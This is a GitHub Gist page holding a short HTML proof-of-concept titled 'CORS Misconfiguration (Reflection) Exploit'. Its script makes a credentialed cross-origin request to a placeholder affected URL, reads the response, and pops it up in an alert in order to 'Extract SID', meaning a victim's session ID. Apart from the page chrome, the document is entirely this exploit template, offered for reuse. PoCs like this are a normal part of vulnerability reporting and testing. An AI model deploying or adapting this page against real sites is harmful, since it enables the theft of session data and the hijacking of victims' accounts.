Skip to content

Instantly share code, notes, and snippets.

@hexrom

hexrom/cors.html

Created May 5, 2019 01:04
Show Gist options
  • Save hexrom/4a08138eb9784dd949b58f0cdf84fff2 to your computer and use it in GitHub Desktop.
Save hexrom/4a08138eb9784dd949b58f0cdf84fff2 to your computer and use it in GitHub Desktop.
Download ZIP
CORS Misconfiguration (Reflection) Exploit
Raw
cors.html
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://<Affected URL>", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment